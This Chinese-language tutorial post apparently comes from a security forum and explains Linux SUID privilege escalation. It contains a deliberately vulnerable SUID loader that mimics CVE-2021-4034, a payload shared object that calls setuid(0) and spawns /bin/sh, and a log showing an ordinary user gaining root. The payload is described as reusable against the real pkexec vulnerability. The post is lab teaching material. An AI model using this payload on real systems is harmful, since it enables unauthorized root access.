-
-
[原创]原理+代码实战:SUID提权渗透
-
发表于: 2022-2-22 09:06 7559
-
本文会按照下面主题进行分享:
- 再谈SUID权限
- 实战SUID提权
- 编写模拟SUID漏洞程序
- 编写提权so
- 提权
0x1 SUID权限
0x11 查看
查看程序是否具有SUID权限,使用<font color=blue size=3>ll</font>命令即可。
1 2 | xjp@xxx:~$ ll / usr / bin / passwd - rwsr - xr - x 1 root root 68208 Jul 15 2021 / usr / bin / passwd * |
第一列中,-rwsr 中的s,即代表passwd程序拥有SUID权限。
0x12 添加、删除SUID权限
添加SUID权限:chmod u+s 文件
删除SUID权限:chmod u-s 文件
修改时要使用文件的属主的用户去修改,不然会报错。
1 2 3 4 5 6 | $ whoami xxx $ ls - l out - rwxr - xr - x 1 xjp xjp 40760 Feb 19 22 : 40 out $ chmod u + s out chmod: changing permissions of 'out' : Operation not permitted |
0x2 实战SUID提权
这一章,我们来代码实操一下SUID提权。
第一步,我们写一个程序,通过参数来加载指定的so,然后再增加SUID权限,来模拟CVE-2021-4034可以加载任意so的程序。因为我们主要是学习漏洞程序的利用,如果过多篇幅讲解漏洞的原因,不利于理解漏洞。
第二步,我们写一个漏洞利用的so,让SUID程序来加载,实现提权。这个so可以在CVE-2021-4034真实漏洞中重复利用。
第一步:编写SUID漏洞程序
本程序通过参数传入so路径和函数名,然后加载指定so,执行指定函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <iostream> #include <dlfcn.h> int main( int argc, char * argv[]) { / / 1 、加载so auto so_path = argv[ 1 ]; printf( "so_path=%s\n" , so_path); void * so = dlopen(so_path, RTLD_NOW); / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / 2 、执行函数 typedef void ( * gconv_init_t)(void * ); auto func_name = argv[ 2 ]; printf( "func_name=%s\n" , func_name); gconv_init_t func = (gconv_init_t)dlsym(so,func_name); func(nullptr); return 0 ; } |
然后,我们编译一下,添加SUID权限,并确保属主是root。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | # whoami root # sh build.sh # ls -l total 48 - rw - r - - r - - 1 xjp xjp 40 Feb 9 19 : 06 build.sh - rwxr - xr - x 1 root root 40760 Feb 19 23 : 50 out - rw - r - - r - - 1 xjp xjp 712 Feb 19 23 : 45 xxx.cpp # chmod u+s out # ls -l total 48 - rw - r - - r - - 1 xjp xjp 40 Feb 9 19 : 06 build.sh - rwsr - xr - x 1 root root 40760 Feb 19 23 : 50 out - rw - r - - r - - 1 xjp xjp 712 Feb 19 23 : 45 xxx.cpp |
第二步:编写提权so
写一个so,来实现提权。在so里提权,并启动一个shell进程。
当SUID漏洞进程运行加载so时,此时实际UID为xjp(非root用户),有效ID为root。
当提权so被SUID进程加载时,实际UID为xjp,有效UID为root。若此时直接启动shell,shell的实际UID从父进程集成,也为xjp,因为shell不是SUID程序,所以有效UID=实际UID=xjp。
要想提权,我们需要把实际UID变为root,我们可以调用setuid实现。
<font color=gray size=2>
#include <sys/types.h>
#include <unistd.h>
int setuid(uid_t uid);
If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID's are set to uid. After this has occurred, it is impossible for the program to regain root privileges.
</font>
so核心提权代码如下:
1 2 3 4 5 6 7 8 9 10 | void gconv_init(void * step) { / / 设置实际UID、有效UID auto r1 = setuid( 0 ); / / 启动shell char * const args[] = { "/bin/sh" , NULL }; char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin" , NULL }; execve(args[ 0 ], args, environ); exit( 0 ); } |
第三步:提权
准备好以后,提权的操作就是让SUID漏洞程序加载我们的so即可,我们模拟的SUID漏洞程序很简单,直接参数传递so的路径和调用的函数即可。
1 2 3 4 5 6 7 8 9 10 11 12 | xjp@xxx:~ / code / case / case24_test_SUID / load_so$ whoami xjp xjp@xxx:~ / code / case / case24_test_SUID / load_so$ . / load_so .. / so / suid.so gconv_init so_path = .. / so / suid.so func_name = gconv_init ruid = 1000 ,euid = 0 ,suid = 0 ruid = 0 ,euid = 0 ,suid = 0 r1 = 0 ,r2 = 0 # whoami root |
真实的提权操作就是找到系统现有的SUID程序,千方百计寻找漏洞使其加载我们的so。下一篇我们来讲一下如何利用真实漏洞CVE-2021-4034加载任意so,实现提权。
欢迎大家用常用聊天软件关注,后台回复suid可获得本文代码。
赞赏
- [原创]gcc xxx.cpp究竟经历了什么? 6633
- [原创]mutex实现与性能 16235
- [原创]SUID提权:CVE-2021-4034漏洞全解析 8920
- [原创]原理+代码实战:SUID提权渗透 7560
- [原创]CVE-2021-4034提权(一)进程凭证与文件权限 11161